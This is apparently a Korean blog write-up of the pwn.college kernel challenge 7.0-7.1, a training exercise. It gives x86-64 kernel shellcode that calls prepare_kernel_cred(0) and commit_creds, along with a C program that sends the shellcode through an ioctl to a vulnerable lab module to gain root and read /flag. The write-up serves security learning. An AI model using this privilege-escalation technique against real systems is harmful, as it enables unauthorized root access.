일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- kernel
- 리눅스 커널
- Bandit
- 알고리즘
- wargame
- pwncollege
- 프로그래밍
- 시스템해킹
- pwn.college
- css
- 어셈블리어
- C++
- Pwnable.kr
- 시스템 프로그래밍
- radare2
- 시스템
- Leviathan
- 커널
- 취약점
- 시그널
- write up
- 컴퓨터구조
- 리눅스
- 워게임
- 시스템프로그래밍
- C언어
- 리버싱
- 드론
- px4
- 리눅스커널
Archives
- Today
- Total
Computer Security
pwn.college : kernel 7.0-7.1 write up 2 본문
반응형
12. 일단 쉘코드를 작성 해주자.
https://defuse.ca/online-x86-assembler.htm 이 사이트에서 작성을 해주면 된다.
어셈블리어 분석
mov rdi, 0x00
mov rax, 0xffffffff810890d0
call rax
mov rdi, rax
mov rax, 0xffffffff81088d90
call rax
ret
위의 어셈블리어를 해석하자면, prepare_kernel_cred(0) 에서 0 이 mov rdi, 0x00
mov rax, 0xffffffff810890d0 : prepare_kernel_cred
mov rax, 0xffffffff81088d90 : commit_creds
13. Workspace에 가서 코드를 아래와 같이 작성 해준다.
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
struct ioctl_comm_struct
{
int64_t length;
char buffer[4096];
void* func_addr;
};
int main(){
int fd = open("/proc/pwncollege",O_WRONLY);
struct ioctl_comm_struct ics;
ics.length = 0x100;
ics.func_addr = (void*)0xffffc90000085000;
memcpy(ics.buffer, "\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC0\xD0\x90\x08\x81\xFF\xD0\x48\x89\xC7\x48\xC7\xC0\x90\x8D\x08\x81\xFF\xD0\xC3",
0x100);
ioctl(fd, 1337, &ics);
FILE *fp2;
char buf[1024];
if ( fp2 = fopen( "/flag", "r")) {
fgets( buf, sizeof( buf), fp2);
printf( "%s\n", buf);
fclose(fp2);
}
}
ioctl 통신을 이용해서 위에서 작성한 쉘코드를 넣어준다.
14. gcc 컴파일 후 ./a.out을 이용해 실행 시켜준다.
15. 아래의 플래그가 도출 된 것을 알 수있다!
7.1 또한 똑같은 방식으로 풀어나가면 풀린다!
ps.과정은 정말 짧다 느낄 수 있었겠지만, 약 일주일정도 걸린 것 같다... write up 1편을 쓰고 나서, 막혀버려서 한 5일정도 걸린듯 하다.. 그로인해 좀 더 자세히 문제를 분석하고 문제 풀었을 때의 짜릿함도 말로 표현할 수 없었다..ㅋㅋ
저 위의 플래그는 사람마다 다르니 직접 해보자..ㅎ
반응형
'pwn.college : kernel' 카테고리의 다른 글
pwn.college : kernel 7.0-7.1 write up 1 (0) | 2022.12.22 |
---|---|
pwn.college : kernel 6.0-6.1 write up (0) | 2022.12.19 |
pwn.college : kernel 5.0-5.1 write up (0) | 2022.12.16 |
pwn.college : kernel 4.0-4.1 write up (0) | 2022.12.13 |
pwn.college : kernel 3.0-3.1 write up (2) | 2022.12.10 |
Comments